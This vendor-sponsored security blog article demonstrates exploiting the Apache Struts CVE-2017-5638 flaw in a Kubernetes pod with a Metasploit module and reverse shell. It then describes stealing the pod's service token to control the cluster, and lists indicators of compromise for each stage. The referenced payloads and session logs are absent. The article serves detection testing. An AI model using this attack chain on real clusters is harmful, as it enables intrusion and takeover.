How to Test Your Container Security with Real World Exploits

There has never been a better time to be a DevOps engineer. Compared to traditional web stacks, containerization has dramatically streamlined the task of deploying web services such as databases, key/value stores and servers. Furthermore, container orchestration tools, like Google’s Kubernetes and Docker Swarm, enable organizations to automate the deployment and management of these containerized applications. But the tools that make life easier and more efficient for engineers can also be a gift to an attacker.

Regardless of the initial exploitation vector, an attacker’s first objective is often to gain host-level access to a target system. With that access, an attacker can leverage the system for a variety of malicious purposes — to exfiltrate data, to maintain a point of presence, to move to higher-value assets in a network, etc. As containerized applications become the new standard for modern web development, DevOps and security teams still find themselves in a precarious position: attackers are creative, and where there’s a will, there’s a way.

In this article, we demonstrate exploitation techniques that can be used to measure the efficacy of a container security product. We explore the exploitation of a vulnerability in a widely-used web server, and show how containerization of this application minimizes the attack surface.

Despite mitigation of host-level access via containerization, we also demonstrate how a misconfigured container orchestrater can be used to give an attacker the “keys to the kingdom” and enable full control of a production container cluster. At each stage, we outline the indicators of compromise (IoCs) that can be used to detect these attacks and show that security must be embedded at all levels of the software development life cycle — including runtime detection.

The Vulnerable Application

Apache Struts

Apache Struts is a popular Java framework for building web applications because it is built on the well known JVM platform and supports a wide variety of useful plugins and extensions.

In March 2017, a vulnerability was disclosed in the Apache Struts parser that allowed an attacker to remotely execute code on a victim server. Many security researchers have explored and discussed this vulnerability, partly because it was a particularly bad bug in a mainstream framework, but also because it caused colossal data loss at Equifax. Struts is a popular web application to run in a containerized environment and parser code is a common location to find vulnerabilities.

Apache Struts application version 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 had an issue with Jakarta MultiParser’s exception handling code. If an exception is generated during Content-Type parsing, it tries to include the invalid data as part of the error message. But, instead of displaying the error message, it parses and executes the Object Graph Navigation Library (OGNL) expression.

Here’s the relevant code that contains the vulnerability and the fix:

The bug is in findText, which — according to the documentation — finds a localized text message for a given key (i.e. aTextName), but evaluates both the key and the message.

If a message is found, anything within ${…} will be treated as an OGNL expression and evaluated as such. An attacker can exploit this vulnerability by sending crafted HTTP requests with a malicious payload as shown below, CVE-2017-5638 through Content-Type header:

When we examine the HTTP request using Wireshark, the content type contains the payload that will ultimately execute a command on the victim’s machine. The following is a Apache Struts exploit payload:

There are two known vulnerabilities for Apache Struts. One is the exception handling that is shown above; the other one is the unsafe deserialization of user data by the XStream XML REST plugin.

Not So Secure – Even in a Container

A benefit to running applications in containers is that they allow us to package a specific version of software and run it anywhere. Container runtimes are built with isolation in mind. Security is improved by placing each container in a process, user id and network namespace. These benefits do not, however, prevent attackers from exploiting the vulnerable application running inside of a container.

For example, applications running inside a container may be able to mount sensitive directories from the host. We show how access to sensitive directories can be used for exploitation in the next section. Furthermore, without user namespaces enabled in the container runtime engine, applications will be given root privileges unless care is taken to drop privileges and run them as a non-root user. In other words, if attackers manage to exploit a vulnerability, they can modify the host filesystem, or execute arbitrary commands if the container is misconfigured without following best practices. Practical tips for securing containerized applications include enabling AppArmor and Seccomp, as well as minimizing namespace leakage. We’ve outlined some of these tips in a previous blog.

How to Launch an Exploit Against Apache Struts

Exploit setup

We deployed a web application with a vulnerable version of Apache Struts 2 (packaged as Docker image piesecurity/apache-struts2-cve-2017-5638) on a Kubernetes cluster. The deployment/service YAML file is shown in figure 3. The application can be launched using kubectl create -f <yaml file name>. This brings up the web application serving on port 8080.

The following is the Apache Struts Kubernetes Deployment YAML:

Figure 3: Web application using a vulnerable version of Apache Struts

To exploit the vulnerability, we used a Metasploit module called multi/http/struts2_content_type_ognl. The module sends a crafted HTTP payload to exploit the vulnerability. We also established a reverse shell back to our attack host  using a staged reverse TCP shell payload.

Exploit session

Here is a Metasploit session showing the exploit:

How to Detect the Attack

Application Logs

Here are the Apache Struts container logs showing the exception”:

Indicators of Compromise (IOCs)

Network

This exploit works by sending a crafted HTTP Content-Type header. The Content-Type typically contains the code to execute on the remote vulnerable application.

File System

The exploit payload could vary from a simple shell command to a binary written to the file system and then executed.

Process

If the payload executes a binary, it will spawn a process. We should see unusual processes executing in ps aux or top output.

Network

There could be attempts to open a reverse shell which typically opens a port never used before.

Exploiting Kubernetes to Break out of the Container

Once an attacker gains a foothold on the victim machine, there are many ways they can target the orchestrator in a Kubernetes cluster by obtaining the API secret token, as described by Google’s Greg Castle in his excellent talk.

Following our Apache Struts exploit, we can establish a reverse shell in the victim container. In Kubernetes, every pod has access to the API server service token key via the /var/run/secrets/ path. Once we have the service token, we can make any API request on the victim’s Kubernetes cluster. Without RBAC configured on the cluster, this is easy to do.

Here’s a session showing the cluster compromise:

Figure 5: Kubernetes cluster being compromised.

For this demo, we uploaded the kubectl binary to the victim’s pod. Once we have the kubectl binary and the service token, we could run any command on the victim’s Kubernetes cluster.

Indicators of Compromise (IOCs)

File System

Reading of the Kubernetes service token by an unknown process. Writing unknown files to the file system. Changing permissions on a file.

Process

Launching a shell/unknown process and using the kubectl binary inside the pod.

Orchestrator

Launching an unknown service or terminating services.

Automating Detection

Figure 6: Timeline of events during the attack

In order to detect these anomalies, we need to correlate network traffic, file system, process activity and orchestrator events. As one can imagine, these require analyzing system calls and orchestrator events at a large scale. Analyzing and correlating system calls for a specific service is a complex problem. It involves looking and filtering millions of system calls, orchestrator events, host signals, etc. — not to mention the problem of correlating them. There are solutions that involve looking at only network traffic or system activity. However, very few solutions look at all these signals and correlate them in a meaningful manner.

Conclusions

Measuring the efficacy of a security product is difficult. It involves testing the product against real vulnerabilities. Detecting the right security events and automating these to make sense is a huge factor in making the life of a security analyst easy.

Many container security vendors provide a rule-based detection solution. Users are forced to create rules or signatures to detect compromises. But rules are prone to error and are not robust, not to mention the significant human effort it takes to understand exploits and come up with rules. A solution that offers a combination of rule-based and algorithmic detection using machine learning techniques often works best to detect a wide range of container attacks.

StackRox sponsored this post.

Yathi is experienced in building security for microservices and Docker containers, and is passionate about low-level software and large-scale systems engineering.

Read more from Yathi Naik